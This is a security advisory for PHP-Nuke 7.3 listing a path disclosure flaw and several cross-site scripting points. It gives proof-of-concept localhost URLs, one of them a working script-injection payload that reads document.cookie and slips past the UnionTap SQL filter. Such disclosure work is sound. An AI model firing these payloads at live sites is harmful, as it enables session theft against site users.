Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Php-Nuke is a popular freeware content management
system, written in php by
Francisco Burzi. This CMS (Content Management System)
is used on many thousands
websites, because it's freeware, easy to install and
has broad set of features.

Homepage: http://phpnuke.org


Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

So PhpNuke version 7.3 is out allready and has
improved by security means.
Anyway, i have found many unpublished security flaws
in it, not fixed yet in 7.3
version and one security hole is brandnew -  from
integrated nukecops union tap ;)
Time is money, so let's start our journey to PhpNuke's
(in)security world...


A. Full path disclosure:

A1 - full path disclosure through unsanitized variable
"show" in "WebLinks" module:

http://localhost/nuke73/modules.php?name=Web_Links&l_op=viewlink&cid=1&show=foobar

Warning: Division by zero in
D:\apache_wwwroot\nuke73\modules\Web_Links\index.php
on line 774



B. Cross-site scripting aka XSS:

B1 - XSS through uninitialized variable "optionbox" in
"News" module:

http://localhost/nuke73/modules.php?name=News&file=article&sid=1&optionbox=[xss
code here]


B2 - XSS through unsanitized variable "date" in
"Statistics" module:

http://localhost/nuke73/modules.php?name=Statistics&op=DailyStats&year=2004&month=5&date=[xss
code here]


B3 - XSS through unsanitized variables in
"Stories_Archive" module:

http://localhost/nuke73/modules.php?name=Stories_Archive&sa=show_month&year=[xss
code here]&month=05&month_l=May
http://localhost/nuke73/modules.php?name=Stories_Archive&sa=show_month&year=2004&month=[xss
code here]&month_l=May
http://localhost/nuke73/modules.php?name=Stories_Archive&sa=show_month&year=2004&month=05&month_l=[xss
code here]


B4 - XSS through unsanitized variables in "Surveys"
module:

http://localhost/nuke73/modules.php?name=Surveys&file=comments&op=Reply&pid=1&pollID=1&mode=[xss
code here]&order=0&thold=0
http://localhost/nuke73/modules.php?name=Surveys&file=comments&op=Reply&pid=1&pollID=1&mode=thread&order=[xss
code here]&thold=0
http://localhost/nuke73/modules.php?name=Surveys&file=comments&op=Reply&pid=1&pollID=1&mode=thread&order=&thold=[xss
code here]


B5 - XSS through nukecops UnionTap Sql Prevention
Code:

Well, you know, this is my favourite one - securing
one hole will induct new one.
Let's look at beginning of the "mainfile.php" from
PhpNuke 7.3 : 


//Union Tap
//Copyright Zhen-Xjell 2004 http://nukecops.com
//Beta 3 Code to prevent UNION SQL Injections
unset($matches);
unset($loc);
if (preg_match("/([OdWo5NIbpuU4V2iJT0n]{5}) /",
rawurldecode($loc=$_SERVER["QUERY_STRING"]),
$matches)) {
	die("YOU ARE SLAPPED BY <a
href=\"http://nukecops.com\">NUKECOPS</a> BY USING
'$matches[1]' INSIDE '$loc'.");
}


So this clever code will catch up nonmasked sql
injection attempts, made through "GET" request...
Let's try this request:

http://localhost/nuke73/index.php?foo=bar%20union%20select

and we see nice message like this:

YOU ARE SLAPPED BY NUKECOPS BY USING 'union' INSIDE
'foo=bar%20union%20select'.

Uh, how scary...
But what, if we issue request like this (try it with
M$ Internet Explorer for succes!):

http://localhost/nuke73/index.php?foo=bar%20union%20select%20<script>alert(document.cookie);</script>

Oops, nice case of cross-site scripting! And because
anti-xss filtering code is located 
AFTER UnionTap, then we can use even most common
"<script>" tags...

Heya to nukecops and have a nice day :)
